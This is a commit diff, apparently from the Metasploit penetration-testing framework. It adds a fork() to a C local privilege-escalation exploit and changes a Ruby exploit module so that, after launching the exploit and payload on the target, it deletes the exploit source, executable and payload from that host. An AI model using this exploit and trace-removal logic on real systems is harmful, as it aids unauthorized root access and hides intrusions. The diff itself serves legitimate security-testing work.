fork early and cleanup files in module

GSoC/Meterpreter_Web_Console
Tim W 2018-05-16 20:34:32 +08:00
parent c5f980f633
commit ce5b24eda0
2 changed files with 17 additions and 3 deletions

View File

@ -741,6 +741,17 @@ int main(int argc, char *argv[]) {
check_smep_smap();
dprintf("[~] done, looks good\n");
pid_t pid = fork();
if (pid == -1) {
dprintf("[-] fork()\n");
exit(EXIT_FAILURE);
}
if (pid != 0) {
dprintf("[.] performing exploit...\n");
return 0;
}
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");

View File

@ -79,9 +79,7 @@ class MetasploitModule < Msf::Exploit::Local
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
@ -99,7 +97,6 @@ class MetasploitModule < Msf::Exploit::Local
end
cmd_exec "chmod +x #{path}"
register_file_for_cleanup path
end
def exploit_data(file)
@ -179,6 +176,7 @@ class MetasploitModule < Msf::Exploit::Local
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('poc.c')
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit')
@ -192,5 +190,10 @@ class MetasploitModule < Msf::Exploit::Local
print_status 'Launching exploit...'
output = cmd_exec "#{executable_path} #{payload_path}"
output.each_line { |line| vprint_status line.chomp }
print_status 'Deleting executable...'
rm_f executable_path
Rex.sleep 5
print_status 'Deleting payload...'
rm_f payload_path
end
end